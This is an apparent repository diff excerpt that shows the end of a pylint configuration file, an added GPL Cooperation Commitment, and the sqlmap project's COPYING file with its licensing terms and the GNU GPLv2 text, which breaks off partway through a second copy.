logging-too-many-args,
logging-unsupported-format,
logging-format-interpolation,
invalid-unary-operand-type,
unsupported-binary-operation,
not-callable,
redundant-keyword-arg,
assignment-from-no-return,
assignment-from-none,
not-context-manager,
repeated-keyword,
missing-kwoa,
no-value-for-parameter,
invalid-sequence-index,
invalid-slice-index,
unexpected-keyword-arg,
unsupported-membership-test,
unsubscriptable-object,
access-member-before-definition,
method-hidden,
assigning-non-slot,
duplicate-bases,
inconsistent-mro,
inherit-non-class,
invalid-slots,
invalid-slots-object,
no-method-argument,
no-self-argument,
unexpected-special-method-signature,
non-iterator-returned,
arguments-differ,
signature-differs,
bad-staticmethod-argument,
non-parent-init-called,
bad-except-order,
catching-non-exception,
bad-exception-context,
notimplemented-raised,
raising-bad-type,
raising-non-exception,
misplaced-bare-raise,
duplicate-except,
nonstandard-exception,
binary-op-exception,
not-async-context-manager,
yield-inside-async-function
# Needs investigation:
# abstract-method (might be indicating a bug? probably not though)
# protected-access (requires some refactoring)
# attribute-defined-outside-init (requires some refactoring)
# super-init-not-called (requires some cleanup)
# Things we'd like to enable someday:
# redefined-builtin (requires a bunch of work to clean up our code first)
# redefined-outer-name (requires a bunch of work to clean up our code first)
# undefined-variable (re-enable when pylint fixes https://github.com/PyCQA/pylint/issues/760)
# no-name-in-module (giving us spurious warnings https://github.com/PyCQA/pylint/issues/73)
# unused-argument (need to clean up or code a lot, e.g. prefix unused_?)
# function-redefined (@overload causes lots of spurious warnings)
# too-many-function-args (@overload causes spurious warnings... I think)
# parameter-unpacking (needed for eventual Python 3 compat)
# print-statement (needed for eventual Python 3 compat)
# filter-builtin-not-iterating (Python 3)
# map-builtin-not-iterating (Python 3)
# range-builtin-not-iterating (Python 3)
# zip-builtin-not-iterating (Python 3)
# many others relevant to Python 3
# unused-variable (a little work to cleanup, is all)
# ...
[REPORTS]
# Set the output format. Available formats are text, parseable, colorized, msvs
# (visual studio) and html. You can also give a reporter class, eg
# mypackage.mymodule.MyReporterClass.
output-format=parseable
# Put messages in a separate file for each module / package specified on the
# command line instead of printing them on stdout. Reports (if any) will be
# written in a file name "pylint_global.[txt|html]".
files-output=no
# Tells whether to display a full report or only the messages
reports=no
# Python expression which should return a note less than 10 (10 is the highest
# note). You have access to the variables errors warning, statement which
# respectively contain the number of errors / warnings messages and the total
# number of statements analyzed. This is used by the global evaluation report
# (RP0004).
evaluation=10.0 - ((float(5 * error + warning + refactor + convention) / statement) * 10)
# Template used to display messages. This is a python new-style format string
# used to format the message information. See doc for all details
#msg-template=
[LOGGING]
# Logging modules to check that the string format arguments are in logging
# function parameter format
logging-modules=logging
[FORMAT]
# Maximum number of characters on a single line.
max-line-length=100
# Regexp for a line that is allowed to be longer than the limit.
ignore-long-lines=^\s*(# )?<?https?://\S+>?$
# Allow the body of an if to be on the same line as the test if there is no
# else.
single-line-if-stmt=no
# List of optional constructs for which whitespace checking is disabled. `dict-
# separator` is used to allow tabulation in dicts, etc.: {1 : 1,\n222: 2}.
# `trailing-comma` allows a space between comma and closing bracket: (a, ).
# `empty-line` allows space-only lines.
no-space-check=trailing-comma,dict-separator
# Maximum number of lines in a module
max-module-lines=1000
# String used as indentation unit. This is usually " " (4 spaces) or "\t" (1
# tab).
indent-string=' '
# Number of spaces of indent required inside a hanging or continued line.
indent-after-paren=4
# Expected format of line ending, e.g. empty (any line ending), LF or CRLF.
expected-line-ending-format=
[TYPECHECK]
# Tells whether missing members accessed in mixin class should be ignored. A
# mixin class is detected if its name ends with "mixin" (case insensitive).
ignore-mixin-members=yes
# List of module names for which member attributes should not be checked
# (useful for modules/projects where namespaces are manipulated during runtime
# and thus existing member attributes cannot be deduced by static analysis. It
# supports qualified module names, as well as Unix pattern matching.
ignored-modules=thirdparty.six.moves
# List of classes names for which member attributes should not be checked
# (useful for classes with attributes dynamically set). This supports can work
# with qualified names.
ignored-classes=
# List of members which are set dynamically and missed by pylint inference
# system, and so shouldn't trigger E1101 when accessed. Python regular
# expressions are accepted.
generated-members=
[VARIABLES]
# Tells whether we should check for unused import in __init__ files.
init-import=no
# A regular expression matching the name of dummy variables (i.e. expectedly
# not used).
dummy-variables-rgx=_$|dummy
# List of additional names supposed to be defined in builtins. Remember that
# you should avoid to define new builtins when possible.
additional-builtins=
# List of strings which can identify a callback function by name. A callback
# name must start or end with one of those strings.
callbacks=cb_,_cb
[SIMILARITIES]
# Minimum lines number of a similarity.
min-similarity-lines=4
# Ignore comments when computing similarities.
ignore-comments=yes
# Ignore docstrings when computing similarities.
ignore-docstrings=yes
# Ignore imports when computing similarities.
ignore-imports=no
[SPELLING]
# Spelling dictionary name. Available dictionaries: none. To make it working
# install python-enchant package.
spelling-dict=
# List of comma separated words that should not be checked.
spelling-ignore-words=
# A path to a file that contains private dictionary; one word per line.
spelling-private-dict-file=
# Tells whether to store unknown words to indicated private dictionary in
# --spelling-private-dict-file option instead of raising a message.
spelling-store-unknown-words=no
[MISCELLANEOUS]
# List of note tags to take in consideration, separated by a comma.
notes=FIXME,XXX,TODO
[BASIC]
# List of builtins function names that should not be used, separated by a comma
bad-functions=map,filter,input
# Good variable names which should always be accepted, separated by a comma
good-names=i,j,k,ex,Run,_
# Bad variable names which should always be refused, separated by a comma
bad-names=foo,bar,baz,toto,tutu,tata
# Colon-delimited sets of names that determine each other's naming style when
# the name regexes allow several styles.
name-group=
# Include a hint for the correct naming format with invalid-name
include-naming-hint=no
# Regular expression matching correct function names
function-rgx=[a-z_][a-z0-9_]{2,30}$
# Naming hint for function names
function-name-hint=[a-z_][a-z0-9_]{2,30}$
# Regular expression matching correct variable names
variable-rgx=[a-z_][a-z0-9_]{2,30}$
# Naming hint for variable names
variable-name-hint=[a-z_][a-z0-9_]{2,30}$
# Regular expression matching correct constant names
const-rgx=(([A-Z_][A-Z0-9_]*)|(__.*__))$
# Naming hint for constant names
const-name-hint=(([A-Z_][A-Z0-9_]*)|(__.*__))$
# Regular expression matching correct attribute names
attr-rgx=[a-z_][a-z0-9_]{2,30}$
# Naming hint for attribute names
attr-name-hint=[a-z_][a-z0-9_]{2,30}$
# Regular expression matching correct argument names
argument-rgx=[a-z_][a-z0-9_]{2,30}$
# Naming hint for argument names
argument-name-hint=[a-z_][a-z0-9_]{2,30}$
# Regular expression matching correct class attribute names
class-attribute-rgx=([A-Za-z_][A-Za-z0-9_]{2,30}|(__.*__))$
# Naming hint for class attribute names
class-attribute-name-hint=([A-Za-z_][A-Za-z0-9_]{2,30}|(__.*__))$
# Regular expression matching correct inline iteration names
inlinevar-rgx=[A-Za-z_][A-Za-z0-9_]*$
# Naming hint for inline iteration names
inlinevar-name-hint=[A-Za-z_][A-Za-z0-9_]*$
# Regular expression matching correct class names
class-rgx=[A-Z_][a-zA-Z0-9]+$
# Naming hint for class names
class-name-hint=[A-Z_][a-zA-Z0-9]+$
# Regular expression matching correct module names
module-rgx=(([a-z_][a-z0-9_]*)|([A-Z][a-zA-Z0-9]+))$
# Naming hint for module names
module-name-hint=(([a-z_][a-z0-9_]*)|([A-Z][a-zA-Z0-9]+))$
# Regular expression matching correct method names
method-rgx=[a-z_][a-z0-9_]{2,30}$
# Naming hint for method names
method-name-hint=[a-z_][a-z0-9_]{2,30}$
# Regular expression which should only match function or class names that do
# not require a docstring.
no-docstring-rgx=^_
# Minimum line length for functions/classes that require docstrings, shorter
# ones are exempt.
docstring-min-length=-1
[ELIF]
# Maximum number of nested blocks for function / method body
max-nested-blocks=5
[IMPORTS]
# Deprecated modules which should not be used, separated by a comma
deprecated-modules=regsub,TERMIOS,Bastion,rexec
# Create a graph of every (i.e. internal and external) dependencies in the
# given file (report RP0402 must not be disabled)
import-graph=
# Create a graph of external dependencies in the given file (report RP0402 must
# not be disabled)
ext-import-graph=
# Create a graph of internal dependencies in the given file (report RP0402 must
# not be disabled)
int-import-graph=
[DESIGN]
# Maximum number of arguments for function / method
max-args=5
# Argument names that match this expression will be ignored. Default to name
# with leading underscore
ignored-argument-names=_.*
# Maximum number of locals for function / method body
max-locals=15
# Maximum number of return / yield for function / method body
max-returns=6
# Maximum number of branch for function / method body
max-branches=12
# Maximum number of statements in function / method body
max-statements=50
# Maximum number of parents for a class (see R0901).
max-parents=7
# Maximum number of attributes for a class (see R0902).
max-attributes=7
# Minimum number of public methods for a class (see R0903).
min-public-methods=2
# Maximum number of public methods for a class (see R0904).
max-public-methods=20
# Maximum number of boolean expressions in a if statement
max-bool-expr=5
[CLASSES]
# List of method names used to declare (i.e. assign) instance attributes.
defining-attr-methods=__init__,__new__,setUp
# List of valid names for the first argument in a class method.
valid-classmethod-first-arg=cls
# List of valid names for the first argument in a metaclass class method.
valid-metaclass-classmethod-first-arg=mcs
# List of member names, which should be excluded from the protected access
# warning.
exclude-protected=_asdict,_fields,_replace,_source,_make
[EXCEPTIONS]
# Exceptions that will emit a warning when being caught. Defaults to
# "Exception"
overgeneral-exceptions=Exception
+46
View File
@@ -0,0 +1,46 @@
GPL Cooperation Commitment
Version 1.0
Before filing or continuing to prosecute any legal proceeding or claim
(other than a Defensive Action) arising from termination of a Covered
License, we commit to extend to the person or entity ('you') accused
of violating the Covered License the following provisions regarding
cure and reinstatement, taken from GPL version 3. As used here, the
term 'this License' refers to the specific Covered License being
enforced.
However, if you cease all violation of this License, then your
license from a particular copyright holder is reinstated (a)
provisionally, unless and until the copyright holder explicitly
and finally terminates your license, and (b) permanently, if the
copyright holder fails to notify you of the violation by some
reasonable means prior to 60 days after the cessation.
Moreover, your license from a particular copyright holder is
reinstated permanently if the copyright holder notifies you of the
violation by some reasonable means, this is the first time you
have received notice of violation of this License (for any work)
from that copyright holder, and you cure the violation prior to 30
days after your receipt of the notice.
We intend this Commitment to be irrevocable, and binding and
enforceable against us and assignees of or successors to our
copyrights.
Definitions
'Covered License' means the GNU General Public License, version 2
(GPLv2), the GNU Lesser General Public License, version 2.1
(LGPLv2.1), or the GNU Library General Public License, version 2
(LGPLv2), all as published by the Free Software Foundation.
'Defensive Action' means a legal proceeding or claim that We bring
against you in response to a prior proceeding or claim initiated by
you or your affiliate.
'We' means each contributor to this repository as of the date of
inclusion of this file, including subsidiaries of a corporate
contributor.
This work is available under a Creative Commons Attribution-ShareAlike
4.0 International license (https://creativecommons.org/licenses/by-sa/4.0/).
+348 -340
View File
@@ -1,340 +1,348 @@
GNU GENERAL PUBLIC LICENSE
Version 2, June 1991
Copyright (C) 1989, 1991 Free Software Foundation, Inc.
51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.
Preamble
The licenses for most software are designed to take away your
freedom to share and change it. By contrast, the GNU General Public
License is intended to guarantee your freedom to share and change free
software--to make sure the software is free for all its users. This
General Public License applies to most of the Free Software
Foundation's software and to any other program whose authors commit to
using it. (Some other Free Software Foundation software is covered by
the GNU Library General Public License instead.) You can apply it to
your programs, too.
When we speak of free software, we are referring to freedom, not
price. Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
this service if you wish), that you receive source code or can get it
if you want it, that you can change the software or use pieces of it
in new free programs; and that you know you can do these things.
To protect your rights, we need to make restrictions that forbid
anyone to deny you these rights or to ask you to surrender the rights.
These restrictions translate to certain responsibilities for you if you
distribute copies of the software, or if you modify it.
For example, if you distribute copies of such a program, whether
gratis or for a fee, you must give the recipients all the rights that
you have. You must make sure that they, too, receive or can get the
source code. And you must show them these terms so they know their
rights.
We protect your rights with two steps: (1) copyright the software, and
(2) offer you this license which gives you legal permission to copy,
distribute and/or modify the software.
Also, for each author's protection and ours, we want to make certain
that everyone understands that there is no warranty for this free
software. If the software is modified by someone else and passed on, we
want its recipients to know that what they have is not the original, so
that any problems introduced by others will not reflect on the original
authors' reputations.
Finally, any free program is threatened constantly by software
patents. We wish to avoid the danger that redistributors of a free
program will individually obtain patent licenses, in effect making the
program proprietary. To prevent this, we have made it clear that any
patent must be licensed for everyone's free use or not licensed at all.
The precise terms and conditions for copying, distribution and
modification follow.
GNU GENERAL PUBLIC LICENSE
TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
0. This License applies to any program or other work which contains
a notice placed by the copyright holder saying it may be distributed
under the terms of this General Public License. The "Program", below,
refers to any such program or work, and a "work based on the Program"
means either the Program or any derivative work under copyright law:
that is to say, a work containing the Program or a portion of it,
either verbatim or with modifications and/or translated into another
language. (Hereinafter, translation is included without limitation in
the term "modification".) Each licensee is addressed as "you".
Activities other than copying, distribution and modification are not
covered by this License; they are outside its scope. The act of
running the Program is not restricted, and the output from the Program
is covered only if its contents constitute a work based on the
Program (independent of having been made by running the Program).
Whether that is true depends on what the Program does.
1. You may copy and distribute verbatim copies of the Program's
source code as you receive it, in any medium, provided that you
conspicuously and appropriately publish on each copy an appropriate
copyright notice and disclaimer of warranty; keep intact all the
notices that refer to this License and to the absence of any warranty;
and give any other recipients of the Program a copy of this License
along with the Program.
You may charge a fee for the physical act of transferring a copy, and
you may at your option offer warranty protection in exchange for a fee.
2. You may modify your copy or copies of the Program or any portion
of it, thus forming a work based on the Program, and copy and
distribute such modifications or work under the terms of Section 1
above, provided that you also meet all of these conditions:
a) You must cause the modified files to carry prominent notices
stating that you changed the files and the date of any change.
b) You must cause any work that you distribute or publish, that in
whole or in part contains or is derived from the Program or any
part thereof, to be licensed as a whole at no charge to all third
parties under the terms of this License.
c) If the modified program normally reads commands interactively
when run, you must cause it, when started running for such
interactive use in the most ordinary way, to print or display an
announcement including an appropriate copyright notice and a
notice that there is no warranty (or else, saying that you provide
a warranty) and that users may redistribute the program under
these conditions, and telling the user how to view a copy of this
License. (Exception: if the Program itself is interactive but
does not normally print such an announcement, your work based on
the Program is not required to print an announcement.)
These requirements apply to the modified work as a whole. If
identifiable sections of that work are not derived from the Program,
and can be reasonably considered independent and separate works in
themselves, then this License, and its terms, do not apply to those
sections when you distribute them as separate works. But when you
distribute the same sections as part of a whole which is a work based
on the Program, the distribution of the whole must be on the terms of
this License, whose permissions for other licensees extend to the
entire whole, and thus to each and every part regardless of who wrote it.
Thus, it is not the intent of this section to claim rights or contest
your rights to work written entirely by you; rather, the intent is to
exercise the right to control the distribution of derivative or
collective works based on the Program.
In addition, mere aggregation of another work not based on the Program
with the Program (or with a work based on the Program) on a volume of
a storage or distribution medium does not bring the other work under
the scope of this License.
3. You may copy and distribute the Program (or a work based on it,
under Section 2) in object code or executable form under the terms of
Sections 1 and 2 above provided that you also do one of the following:
a) Accompany it with the complete corresponding machine-readable
source code, which must be distributed under the terms of Sections
1 and 2 above on a medium customarily used for software interchange; or,
b) Accompany it with a written offer, valid for at least three
years, to give any third party, for a charge no more than your
cost of physically performing source distribution, a complete
machine-readable copy of the corresponding source code, to be
distributed under the terms of Sections 1 and 2 above on a medium
customarily used for software interchange; or,
c) Accompany it with the information you received as to the offer
to distribute corresponding source code. (This alternative is
allowed only for noncommercial distribution and only if you
received the program in object code or executable form with such
an offer, in accord with Subsection b above.)
The source code for a work means the preferred form of the work for
making modifications to it. For an executable work, complete source
code means all the source code for all modules it contains, plus any
associated interface definition files, plus the scripts used to
control compilation and installation of the executable. However, as a
special exception, the source code distributed need not include
anything that is normally distributed (in either source or binary
form) with the major components (compiler, kernel, and so on) of the
operating system on which the executable runs, unless that component
itself accompanies the executable.
If distribution of executable or object code is made by offering
access to copy from a designated place, then offering equivalent
access to copy the source code from the same place counts as
distribution of the source code, even though third parties are not
compelled to copy the source along with the object code.
4. You may not copy, modify, sublicense, or distribute the Program
except as expressly provided under this License. Any attempt
otherwise to copy, modify, sublicense or distribute the Program is
void, and will automatically terminate your rights under this License.
However, parties who have received copies, or rights, from you under
this License will not have their licenses terminated so long as such
parties remain in full compliance.
5. You are not required to accept this License, since you have not
signed it. However, nothing else grants you permission to modify or
distribute the Program or its derivative works. These actions are
prohibited by law if you do not accept this License. Therefore, by
modifying or distributing the Program (or any work based on the
Program), you indicate your acceptance of this License to do so, and
all its terms and conditions for copying, distributing or modifying
the Program or works based on it.
6. Each time you redistribute the Program (or any work based on the
Program), the recipient automatically receives a license from the
original licensor to copy, distribute or modify the Program subject to
these terms and conditions. You may not impose any further
restrictions on the recipients' exercise of the rights granted herein.
You are not responsible for enforcing compliance by third parties to
this License.
7. If, as a consequence of a court judgment or allegation of patent
infringement or for any other reason (not limited to patent issues),
conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License. If you cannot
distribute so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you
may not distribute the Program at all. For example, if a patent
license would not permit royalty-free redistribution of the Program by
all those who receive copies directly or indirectly through you, then
the only way you could satisfy both it and this License would be to
refrain entirely from distribution of the Program.
If any portion of this section is held invalid or unenforceable under
any particular circumstance, the balance of the section is intended to
apply and the section as a whole is intended to apply in other
circumstances.
It is not the purpose of this section to induce you to infringe any
patents or other property right claims or to contest validity of any
such claims; this section has the sole purpose of protecting the
integrity of the free software distribution system, which is
implemented by public license practices. Many people have made
generous contributions to the wide range of software distributed
through that system in reliance on consistent application of that
system; it is up to the author/donor to decide if he or she is willing
to distribute software through any other system and a licensee cannot
impose that choice.
This section is intended to make thoroughly clear what is believed to
be a consequence of the rest of this License.
8. If the distribution and/or use of the Program is restricted in
certain countries either by patents or by copyrighted interfaces, the
original copyright holder who places the Program under this License
may add an explicit geographical distribution limitation excluding
those countries, so that distribution is permitted only in or among
countries not thus excluded. In such case, this License incorporates
the limitation as if written in the body of this License.
9. The Free Software Foundation may publish revised and/or new versions
of the General Public License from time to time. Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.
Each version is given a distinguishing version number. If the Program
specifies a version number of this License which applies to it and "any
later version", you have the option of following the terms and conditions
either of that version or of any later version published by the Free
Software Foundation. If the Program does not specify a version number of
this License, you may choose any version ever published by the Free Software
Foundation.
10. If you wish to incorporate parts of the Program into other free
programs whose distribution conditions are different, write to the author
to ask for permission. For software which is copyrighted by the Free
Software Foundation, write to the Free Software Foundation; we sometimes
make exceptions for this. Our decision will be guided by the two goals
of preserving the free status of all derivatives of our free software and
of promoting the sharing and reuse of software generally.
NO WARRANTY
11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN
OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS
TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE
PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
REPAIR OR CORRECTION.
12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.
END OF TERMS AND CONDITIONS
How to Apply These Terms to Your New Programs
If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.
To do so, attach the following notices to the program. It is safest
to attach them to the start of each source file to most effectively
convey the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is found.
<one line to give the program's name and a brief idea of what it does.>
Copyright (C) <year> <name of author>
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
Also add information on how to contact you by electronic and paper mail.
If the program is interactive, make it output a short notice like this
when it starts in an interactive mode:
Gnomovision version 69, Copyright (C) year name of author
Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
This is free software, and you are welcome to redistribute it
under certain conditions; type `show c' for details.
The hypothetical commands `show w' and `show c' should show the appropriate
parts of the General Public License. Of course, the commands you use may
be called something other than `show w' and `show c'; they could even be
mouse-clicks or menu items--whatever suits your program.
You should also get your employer (if you work as a programmer) or your
school, if any, to sign a "copyright disclaimer" for the program, if
necessary. Here is a sample; alter the names:
Yoyodyne, Inc., hereby disclaims all copyright interest in the program
`Gnomovision' (which makes passes at compilers) written by James Hacker.
<signature of Ty Coon>, 1 April 1989
Ty Coon, President of Vice
This General Public License does not permit incorporating your program into
proprietary programs. If your program is a subroutine library, you may
consider it more useful to permit linking proprietary applications with the
library. If this is what you want to do, use the GNU Library General
Public License instead of this License.
COPYING -- Describes the terms under which sqlmap is distributed. A copy
of the GNU General Public License (GPL) is appended to this file.
sqlmap is (C) 2006-2021 Bernardo Damele Assumpcao Guimaraes, Miroslav Stampar.
This program is free software; you may redistribute and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation; Version 2 (or later) with the clarifications and
exceptions described below. This guarantees your right to use, modify, and
redistribute this software under certain conditions. If you wish to embed
sqlmap technology into proprietary software, we sell alternative licenses
(contact [email protected]).
Note that the GPL places important restrictions on "derived works", yet it
does not provide a detailed definition of that term. To avoid
misunderstandings, we interpret that term as broadly as copyright law
allows. For example, we consider an application to constitute a "derived
work" for the purpose of this license if it does any of the following:
* Integrates source code from sqlmap.
* Reads or includes sqlmap copyrighted data files, such as xml/queries.xml
* Executes sqlmap and parses the results (as opposed to typical shell or
execution-menu apps, which simply display raw sqlmap output and so are
not derivative works).
* Integrates/includes/aggregates sqlmap into a proprietary executable
installer, such as those produced by InstallShield.
* Links to a library or executes a program that does any of the above
The term "sqlmap" should be taken to also include any portions or derived
works of sqlmap. This list is not exclusive, but is meant to clarify our
interpretation of derived works with some common examples. Our
interpretation applies only to sqlmap - we do not speak for other people's
GPL works.
This license does not apply to the third-party components. More details can
be found inside the file 'doc/THIRD-PARTY.md'.
If you have any questions about the GPL licensing restrictions on using
sqlmap in non-GPL works, we would be happy to help. As mentioned above,
we also offer alternative license to integrate sqlmap into proprietary
applications and appliances.
If you received these files with a written license agreement or contract
stating terms other than the terms above, then that alternative license
agreement takes precedence over these comments.
Source is provided to this software because we believe users have a right
to know exactly what a program is going to do before they run it.
Source code also allows you to fix bugs and add new features. You are
highly encouraged to send your changes to [email protected] for possible
incorporation into the main distribution. By sending these changes to the
sqlmap developers or via Git pull request, checking them into the sqlmap
source code repository, it is understood (unless you specify otherwise)
that you are offering the sqlmap project the unlimited, non-exclusive
right to reuse, modify, and relicense the code. sqlmap will always be
available Open Source, but this is important because the inability to
relicense code has caused devastating problems for other Free Software
projects (such as KDE and NASM). If you wish to specify special license
conditions of your contributions, just say so when you send them.
This program is distributed in the hope that it will be useful, but
WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
General Public License v2.0 for more details at
http://www.gnu.org/licenses/gpl-2.0.html, or below
****************************************************************************
GNU GENERAL PUBLIC LICENSE
Version 2, June 1991
Copyright (C) 1989, 1991 Free Software Foundation, Inc.,
51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
Everyone is permitted to copy and distribute verbatim copies
of this license document, but changing it is not allowed.
Preamble
The licenses for most software are designed to take away your
freedom to share and change it. By contrast, the GNU General Public
License is intended to guarantee your freedom to share and change free
software--to make sure the software is free for all its users. This
General Public License applies to most of the Free Software
Foundation's software and to any other program whose authors commit to
using it. (Some other Free Software Foundation software is covered by
the GNU Lesser General Public License instead.) You can apply it to
your programs, too.
When we speak of free software, we are referring to freedom, not
price. Our General Public Licenses are designed to make sure that you
have the freedom to distribute copies of free software (and charge for
this service if you wish), that you receive source code or can get it
if you want it, that you can change the software or use pieces of it
in new free programs; and that you know you can do these things.
To protect your rights, we need to make restrictions that forbid
anyone to deny you these rights or to ask you to surrender the rights.
These restrictions translate to certain responsibilities for you if you
distribute copies of the software, or if you modify it.
For example, if you distribute copies of such a program, whether
gratis or for a fee, you must give the recipients all the rights that
you have. You must make sure that they, too, receive or can get the
source code. And you must show them these terms so they know their
rights.
We protect your rights with two steps: (1) copyright the software, and
(2) offer you this license which gives you legal permission to copy,
distribute and/or modify the software.
Also, for each author's protection and ours, we want to make certain
that everyone understands that there is no warranty for this free
software. If the software is modified by someone else and passed on, we
want its recipients to know that what they have is not the original, so
that any problems introduced by others will not reflect on the original
authors' reputations.
Finally, any free program is threatened constantly by software
patents. We wish to avoid the danger that redistributors of a free
program will individually obtain patent licenses, in effect making the
program proprietary. To prevent this, we have made it clear that any
patent must be licensed for everyone's free use or not licensed at all.
The precise terms and conditions for copying, distribution and
modification follow.
GNU GENERAL PUBLIC LICENSE
TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION AND MODIFICATION
0. This License applies to any program or other work which contains
a notice placed by the copyright holder saying it may be distributed
under the terms of this General Public License. The "Program", below,
refers to any such program or work, and a "work based on the Program"
means either the Program or any derivative work under copyright law:
that is to say, a work containing the Program or a portion of it,
either verbatim or with modifications and/or translated into another
language. (Hereinafter, translation is included without limitation in
the term "modification".) Each licensee is addressed as "you".
Activities other than copying, distribution and modification are not
covered by this License; they are outside its scope. The act of
running the Program is not restricted, and the output from the Program
is covered only if its contents constitute a work based on the
Program (independent of having been made by running the Program).
Whether that is true depends on what the Program does.
1. You may copy and distribute verbatim copies of the Program's
source code as you receive it, in any medium, provided that you
conspicuously and appropriately publish on each copy an appropriate
copyright notice and disclaimer of warranty; keep intact all the
notices that refer to this License and to the absence of any warranty;
and give any other recipients of the Program a copy of this License
along with the Program.
You may charge a fee for the physical act of transferring a copy, and
you may at your option offer warranty protection in exchange for a fee.
2. You may modify your copy or copies of the Program or any portion
of it, thus forming a work based on the Program, and copy and
distribute such modifications or work under the terms of Section 1
above, provided that you also meet all of these conditions:
a) You must cause the modified files to carry prominent notices
stating that you changed the files and the date of any change.
b) You must cause any work that you distribute or publish, that in
whole or in part contains or is derived from the Program or any
part thereof, to be licensed as a whole at no charge to all third
parties under the terms of this License.
c) If the modified program normally reads commands interactively
when run, you must cause it, when started running for such
interactive use in the most ordinary way, to print or display an
announcement including an appropriate copyright notice and a
notice that there is no warranty (or else, saying that you provide
a warranty) and that users may redistribute the program under
these conditions, and telling the user how to view a copy of this
License. (Exception: if the Program itself is interactive but
does not normally print such an announcement, your work based on
the Program is not required to print an announcement.)
These requirements apply to the modified work as a whole. If
identifiable sections of that work are not derived from the Program,
and can be reasonably considered independent and separate works in
themselves, then this License, and its terms, do not apply to those
sections when you distribute them as separate works. But when you
distribute the same sections as part of a whole which is a work based
on the Program, the distribution of the whole must be on the terms of
this License, whose permissions for other licensees extend to the
entire whole, and thus to each and every part regardless of who wrote it.
Thus, it is not the intent of this section to claim rights or contest
your rights to work written entirely by you; rather, the intent is to
exercise the right to control the distribution of derivative or
collective works based on the Program.
In addition, mere aggregation of another work not based on the Program
with the Program (or with a work based on the Program) on a volume of
a storage or distribution medium does not bring the other work under
the scope of this License.
3. You may copy and distribute the Program (or a work based on it,
under Section 2) in object code or executable form under the terms of
Sections 1 and 2 above provided that you also do one of the following:
a) Accompany it with the complete corresponding machine-readable
source code, which must be distributed under the terms of Sections
1 and 2 above on a medium customarily used for software interchange; or,
b) Accompany it with a written offer, valid for at least three
years, to give any third party, for a charge no more than your
cost of physically performing source distribution, a complete
machine-readable copy of the corresponding source code, to be
distributed under the terms of Sections 1 and 2 above on a medium
customarily used for software interchange; or,
c) Accompany it with the information you received as to the offer
to distribute corresponding source code. (This alternative is
allowed only for noncommercial distribution and only if you
received the program in object code or executable form with such
an offer, in accord with Subsection b above.)
The source code for a work means the preferred form of the work for
making modifications to it. For an executable work, complete source
code means all the source code for all modules it contains, plus any
associated interface definition files, plus the scripts used to
control compilation and installation of the executable. However, as a
special exception, the source code distributed need not include
anything that is normally distributed (in either source or binary
form) with the major components (compiler, kernel, and so on) of the
operating system on which the executable runs, unless that component
itself accompanies the executable.
If distribution of executable or object code is made by offering
access to copy from a designated place, then offering equivalent
access to copy the source code from the same place counts as
distribution of the source code, even though third parties are not
compelled to copy the source along with the object code.
4. You may not copy, modify, sublicense, or distribute the Program
except as expressly provided under this License. Any attempt
otherwise to copy, modify, sublicense or distribute the Program is
void, and will automatically terminate your rights under this License.
However, parties who have received copies, or rights, from you under
this License will not have their licenses terminated so long as such
parties remain in full compliance.
5. You are not required to accept this License, since you have not
signed it. However, nothing else grants you permission to modify or
distribute the Program or its derivative works. These actions are
prohibited by law if you do not accept this License. Therefore, by
modifying or distributing the Program (or any work based on the
Program), you indicate your acceptance of this License to do so, and
all its terms and conditions for copying, distributing or modifying
the Program or works based on it.
6. Each time you redistribute the Program (or any work based on the
Program), the recipient automatically receives a license from the
original licensor to copy, distribute or modify the Program subject to
